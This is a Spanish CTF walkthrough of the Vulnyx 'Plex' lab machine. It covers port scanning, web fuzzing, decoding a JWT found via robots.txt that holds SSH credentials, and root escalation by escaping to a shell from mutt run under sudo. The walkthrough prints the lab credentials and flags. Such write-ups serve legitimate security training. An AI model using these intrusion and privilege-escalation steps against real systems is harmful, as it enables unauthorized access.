Post

CTF-Plex

Guia en texto del CTF Plex de Vulnyx, incluye los pasos para superar el desafio de manera convencional

Índice

1.Plex

1.1 Detalles de la máquina virtual

2.Reconocimiento

2.1 Conectividad

2.2 Escaneo de Vulnerabilidades con Nmap

3.Recopilación de Información

3.1Prueba de conexión al servicio FTP port 21

3.2Comprobación de servicios

3.3Fuzzing con Dirsearch

3.4Fuzzing con Gobuster

3.5Consulta Robots.txt

3.6Ruta sospechosa

4.Acceso al Objetivo

4.1Conexion SSH con el usuario mauro

4.2Primera Flag

5.Escalamiento de privilegios

5.1Somos root

6.Recomendaciones y Conclusiones

7.Fundamento Teórico

1. Plex

1.1 Detalles de la máquina virtual

Plex es una máquina virtual proporcionada por la plataforma web de CTFs Vulnyx. Aunque está disponible desde 2023, ya cuenta con muchas máquinas virtuales en las que puedes practicar hacking ético en entornos seguros. Además, permite encontrar y compartir writeups hechos por y para la comunidad. Visitalos: Vulnyx

imagen.

Después de descargar la Máquina Virtual, te muestra un archivo .ova el cual, al ejecutarlo, despliega la máquina virtual en VMware o VirtualBox la cual toma el dhcp de tu red virtual.

Vm nameIp AdressCreatorsLevel
Plex192.168.137.225VulnyxEasy

imagen.

2. Reconocimiento

2.1 Conectividad

Se valida la conectividad hacia el objetivo desde nuestra máquina virtual con Kali, con esto podremos iniciar las pruebas de Ethical Hacking.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ping 192.168.137.225 -c 3
PING 192.168.137.225 (192.168.137.225) 56(84) bytes of data.
64 bytes from 192.168.137.225: icmp_seq=1 ttl=64 time=0.594 ms
64 bytes from 192.168.137.225: icmp_seq=2 ttl=64 time=0.857 ms
64 bytes from 192.168.137.225: icmp_seq=3 ttl=64 time=0.350 ms

--- 192.168.137.225 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2013ms
rtt min/avg/max/mdev = 0.350/0.600/0.857/0.207 ms

2.2 Escaneo de vulnerabilidades con Nmap

Se utiliza Nmap para recopilar información que pueda ser usada posteriormente para realizar un ataque, en nuestra busqueda tratamos de identificar versiones de servicio, sistema operativo, el comando utilizado fue nmap -sVC 192.168.137.225 como resultado observamos que tenemos un puerto utilizado por el objetivo 21.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿V4lcyfer)-[/home/kali]
└─# nmap -sVC 192.168.137.225
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 03:22 EDT
Nmap scan report for plex.mshome.net (192.168.137.225)
Host is up (0.00010s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
| ssh-hostkey: 
|   2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
|   256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_  256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
MAC Address: 00:0C:29:AF:DD:86 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.43 seconds

Esto es muy sospechoso ya que lo normal es que se tenga mas puertos o mas servicios utilizados.

3. Recopilación de Información

3.1 Prueba de conexión al servicio FTP port 21

Intentamos realizar una conexión al serivicio FTP por el puerto 21 detectado en la etapata anterior

1
2
3
4
5
6
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ftp 192.168.137.225
Connected to 192.168.137.225.
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u4
ftp> dir
Not connected.

Realizamos la conexión al ssh pero en el banner de bienvenida observamos el mensaje del SSH, mas no del del FTP convencional, no obtenemos mayor información relevante.

3.2 Comprobación de Servicios

Para obtener más información sobre el único servicio encontrado, realizaremos una consulta mediante cURL a la IP del servicio en el puerto identificado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿V4lcyfer)-[/home/kali]
└─# curl -v 192.168.137.225:21
*   Trying 192.168.137.225:21...
* Connected to 192.168.137.225 (192.168.137.225) port 21
> GET / HTTP/1.1
> Host: 192.168.137.225:21
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2024 07:57:41 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
< ETag: "31-61274c7cf8519"
< Accept-Ranges: bytes
< Content-Length: 49
< Content-Type: text/html
< 

Hello Bro!
You only need a port to be happy...

* Connection 0 to host 192.168.137.225 left intact                                           

Observamos que por el mismo puerto 21 corre tambien un servicio HTTP y tambien observamos un curioso y divertido mensaje del autor de la maquina “Hola bro!, Solo necesitas un puerto para ser feliz …”, lo cual nos proporciona una pista interesante. mas de 1 servicio en un solo puerto?

3.3 Fuzzing con Dirsearch

Utilizaremos dirsearch para encontrar información relevante de directorios, subdominios o información expuesta que nos sea de utilidad.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿V4lcyfer)-[/home/kali]
└─# dirsearch -u 192.168.137.225:21
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_192.168.137.225_21/_24-05-18_04-06-04.txt

Target: http://192.168.137.225:21/

[04:06:04] Starting: 
[04:06:07] 403 -  280B  - /.ht_wsr.txt
[04:06:07] 403 -  280B  - /.htaccess.save
[04:06:07] 403 -  280B  - /.htaccess.bak1
[04:06:07] 403 -  280B  - /.htaccess.orig
[04:06:07] 403 -  280B  - /.htaccess_extra
[04:06:07] 403 -  280B  - /.htaccess_orig
[04:06:07] 403 -  280B  - /.htaccessOLD
[04:06:07] 403 -  280B  - /.htaccessOLD2
[04:06:07] 403 -  280B  - /.htaccess_sc
[04:06:07] 403 -  280B  - /.html
[04:06:07] 403 -  280B  - /.htm
[04:06:07] 403 -  280B  - /.htaccessBAK
[04:06:07] 403 -  280B  - /.htaccess.sample
[04:06:07] 403 -  280B  - /.htpasswd_test
[04:06:07] 403 -  280B  - /.htpasswds
[04:06:07] 403 -  280B  - /.httr-oauth
[04:06:08] 403 -  280B  - /.php
[04:07:03] 200 -   58B  - /robots.txt
[04:07:04] 200 -    2KB - /server-status/
[04:07:04] 200 -    2KB - /server-status

Task Completed

Encontramos que la dirección tiene el sitio robotos.txt habilitado que como ya sabemos casi siempre contiene información interesante.

3.4 Fuzzing con Gobuster

Normalmente me agrada utilizar diferentes herramientas para validar si obtengo los mimso resultados o si obtengo alguna información adicional que me pueda servir, en este caso realizaremos el mismo proceso anterior pero con Gobuster.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿V4lcyfer)-[/home/kali]
└─# gobuster dir -u http://192.168.137.225:21 -t 20 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x 'txt,php,html'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.137.225:21
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 280]
/.html                (Status: 403) [Size: 280]
/index.html           (Status: 200) [Size: 49]
/robots.txt           (Status: 200) [Size: 58]
Progress: 566832 / 566836 (100.00%)
===============================================================
Finished
===============================================================

En este caso observamos que en nuestra nueva con otra herramienta busqueda confirma la ruta /robots.txt, tenemos que darle un vistazo.

3.5 Consulta Robots.txt

Para poder visualizar el contenido utilizaremos curl.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿V4lcyfer)-[/home/kali]
└─# curl -v 192.168.137.225:21/robots.txt
*   Trying 192.168.137.225:21...
* Connected to 192.168.137.225 (192.168.137.225) port 21
> GET /robots.txt HTTP/1.1
> Host: 192.168.137.225:21
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2024 08:28:24 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 17:39:55 GMT
< ETag: "3a-61274a1864993"
< Accept-Ranges: bytes
< Content-Length: 58
< Content-Type: text/plain
< 
User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b
* Connection 0 to host 192.168.137.225 left intact

Lo primero que nos llama la atención es la especie de ruta o directorio que muestra en la parte de Disallow:/ deberiamos darle una revisada.

3.6 Ruta sospechosa

Vamos a revisar que encontramos en la ruta con la ayuda del poderoso curl.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿V4lcyfer)-[/home/kali]
└─# curl -v 192.168.137.225:21/9a618248b64db62d15b300a07b00580b/
*   Trying 192.168.137.225:21...
* Connected to 192.168.137.225 (192.168.137.225) port 21
> GET //9a618248b64db62d15b300a07b00580b/ HTTP/1.1
> Host: 192.168.137.225:21
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2024 08:32:05 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 15:16:17 GMT
< ETag: "d9-612729fd04e5f"
< Accept-Ranges: bytes
< Content-Length: 217
< Vary: Accept-Encoding
< Content-Type: text/html
< 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
* Connection #0 to host 192.168.137.225 left intact

! Importante:

No se olviden del “/” al final de la ruta

Observamos como una especie de Hash el cual seria bueno revisar, para esto investigaremos que tipo de encriptado es.

Revisando, confirmamos que se trata de un JSON Web Token (JWT) por su estructura. Ahora vamos a verificar su contenido; para esto utilizaremos una herramienta en línea. Cyberchef.

imagen.

ⓘ NOTA:

Existen muchas herramientas web con capacidades similares, pero personalmente, esta es la que más me agrada debido a su capacidad de detectar el tipo de hash o algoritmo y descifrar su contenido..

Bingo! encontramos credenciales de acceso del usuario mauro, con este acceso m@uR0123! probaremos acceso al ssh detectado al inicio.

4. Acceso al Objetivo

4.1 Conexion SSH con el nuevo usuario mauro

Utilizando las credenciales encontradas, validamos la conexión al objetivo.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[/home/kali]
└─# ssh -p21 mauro@192.168.137.225
mauro@192.168.137.10's password: 
mauro@plex:~$ 
mauro@plex:~$ whoami
mauro
mauro@plex:~$ id
uid=1000(mauro) gid=1000(mauro) grupos=1000(mauro)
mauro@plex:~$ pwd
/home/mauro
mauro@plex:~$ 

4.2 Primera Flag

Buscamos la flag para poder culminar el desafio para esto listamos los archivos dentro del directorio donde nos encontramos.

1
2
3
4
5
mauro@plex:~$ ls
user.txt
mauro@plex:~$ cat user.txt 
05135a0133cbb692dc66761e5d99364a
mauro@plex:~$ 

Listando, encontramos el archivo users.txt, y dentro de él, la flag del desafío.

5. Escalamiento de Privilegios

5.1 Somos root

Para obtener privilegios de root primero debemos saber cuales son los comandos que estamos autorizado a ejecutar con permisos elevados para esto nos ayudamos con el comando sudo.

1
2
3
4
5
6
7
mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mauro may run the following commands on plex:
    (root) NOPASSWD: /usr/bin/mutt
mauro@plex:~$ 

Observamos que podemos ejecutar mutt como superusuario asi que probemos con /usr/bin/mutt.

1
mauro@plex:~$ sudo -u root /usr/bin/mutt

Dentro de /usr/bin/mutt que es la ruta del ejecutable del programa Mutt que es un cliente de correo electrónico de línea de comandos colocamos ! para poder ejecurar la ruta del bash /bin/bash.

imagen.

Con esto ya podremos ejecutar comandos con los privilegios de root.

1
2
3
4
5
6
root@plex:/home/mauro# 
root@plex:/home/mauro# id
uid=0(root) gid=0(root) grupos=0(root)
root@plex:/home/mauro# pwd
/home/mauro
root@plex:/home/mauro# 

5.2 Flag de root

Buscamos la ultima flag del superuser (root) el cual normalmente esta en la ruta /root

1
2
3
4
5
6
root@plex:/# cd root
root@plex:~# ls
Mail  root.txt
root@plex:~# cat root.txt 
943f08fb32181d5f8171332146f39e41
root@plex:~# 

Listo!, ultima flag obtenida.

6. Recomendaciones y Conclusiones

  • Es importante estar atento a los resultados obtenidos. Muchas veces, la más mínima sospecha o anomalía en un resultado puede ser el camino correcto hacia la solución del CTF.

  • No olvidar, la paciencia es una virtud.

  • Muchas Gracias Vulnyx. Fue muy divertido.

7. Fundamento Teórico

¿Qué es un JWT (JSON Web Token)?

Para empesar, ¿Que es JSON?

JSON (JavaScript Object Notation) es un formato ligero de intercambio de datos que es fácil de leer y escribir tanto para los humanos como para las máquinas. Se utiliza principalmente para transmitir datos entre un servidor y una aplicación web como texto plano.

Algunas caracteristicas de JSON son:

  • Simplicidad.
  • Formato en texto.
  • Compatibilidad
  • Estructura de datos.

Ejemplo de JSON:

1
2
3
4
5
6
{
    "nombre": "Rafael",
    "edad": 38,
    "ciudad": "Lima",
    "aficiones": ["leer", "viajar", "jugar videojuegos"]
}

Ahora con esto claro, un JWT es un estándar abierto (RFC 7519) que define una forma compacta y autónoma de transmitir información de manera segura entre partes como un objeto JSON. Esta información se puede verificar y confiar porque está firmada digitalmente.

El formato de un JWT típico es :

1
header.payload.signature

Recordemos nuestro escenario eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk este JTW encontrado dentro de la ruta sospechosa trendria entonces la siguiente estructura:

1
2
3
Header - eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
Payload - eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0 
Signature - zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk 

Que al decodificar tenemos :

Header:

1
2
3
4
{
  "typ": "JWT",
  "alg": "HS256"
}

Payload:

1
2
3
4
5
6
7
8
9
10
{
  "iss": "",
  "iat": null,
  "exp": null,
  "aud": "",
  "sub": "",
  "id": "1",
  "username": "mauro",
  "password": "m@uR0123!"
}

Signature: La firma se crea utilizando el header codificado y el payload codificado, y luego firmándolos con el algoritmo HS256 y una clave secreta.

Por lo tanto, este token se utiliza para autenticar y transmitir información de manera segura entre diferentes partes en un sistema.

Saludos!

!Hack the life!

This post is licensed under CC BY 4.0 by the author.